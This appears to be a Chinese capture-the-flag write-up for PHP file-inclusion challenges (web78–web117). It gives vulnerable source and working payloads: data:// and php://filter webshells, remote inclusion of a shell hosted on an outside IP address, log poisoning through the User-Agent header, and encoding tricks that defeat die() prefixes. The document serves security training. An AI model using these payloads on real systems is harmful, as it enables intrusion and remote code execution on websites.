目录
web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
直接包含flag.php发现并没有回显:
于是尝试用php://filter进行base64编码包含。
?file=php://filter/convert.base64-encode/resource=flag.php
然后base64解码得到
或者直接用data://进行任意命令执行
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了flag
直接用data协议进行任意命令执行
?file=data://text/plain,<?=eval($_GET[1])?>&1=system('ls');
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这里ban了php和data,那么有两种思路, 可以用http://协议远程包含vps上的马马,也可以include包含日志,通过UA注入马马,实现任意命令执行
方法一、http://远程包含
vps上写一个木马文件
<?=eval($_GET[1])?>
然后利用
?file=http://116.62.164.167/1.txt&1=phpinfo();
?file=http://116.62.164.167/1.txt&1=system('tac fl0g.php');
方法二、include包含日志
利用bp发包:
?file=/var/log/nginx/access.log
修改ua一句话木马
web81
<?php /*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/ if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同上,利用日志包含。
web82-86:条件竞争
web87*
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
这个地方的考点是绕过file_put_contents的死亡循环
-
参考大佬文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
具体思路如下:
利用php://filter/流写入来拼接:
假设,我们能构造:
file_put_contents(php://filter/write=convert.base64-decode/resource=a.php,"<?php die('大佬别秀了');?>"XXXXXX);
仔细分析,前面利用php://filter/流将"<?php die('大佬别秀了');?>"XXXXXX经过base64解码之后写入了a.php
由于经过了base64解码,那么,根据base64的原理,只会解析65个字符,"<?php die('大佬别秀了');?>"这句话中只会解析phpdie,那么我们在后便添加两个字符,再将一句话木马经过base64编码之后加着一起上传,这样不就成功绕过了死亡die!
下面构造payload,
file会经过一次urldecode,再加上url自动的解码,所以我们需要编码两次
content就是将呀句话木马<?php eval($_GET['1']);?>经过base64加密,再在前面加上两个字母和phpdie满足两组base64加密即可
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
content=XXPD9waHAgZXZhbCgkX0dFVFsnMSddKTs/Pg==
上传成功
访问a.php即可
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤中,并没有过滤:
可以考虑用data://伪协议
payload
?file=data://text/plain;base64,PD9waHAgICAgZXZhbCgkX0dFVFsnMSddKTs/PjEx
注意一个点,这里过滤了=和+,所以直接进行base64编码,
就会出现:
PD9waHAgcGhwaW5mbygpOz8=
那么我们需要在最后末尾添加没有用的字符进行编码,即<?php eval($_GET['1']);?>11编码得到PD9waHAgICAgZXZhbCgkX0dFVFsnMSddKTs/PjEx
web116
上来是一个视频,下载,再kali中使用formost命令拆分文件,发现png文件就是源码
再用bp访问?file=flag.php即可
web117
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
死亡die过滤了base64和rot13,
但是可以用其他的编码方式来绕过PHP支持的编码方式:https://www.php.net/manual/zh/mbstring.supported-encodings.php
UCS-2LE UCS-2BE编码
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?
Comments | NOTHING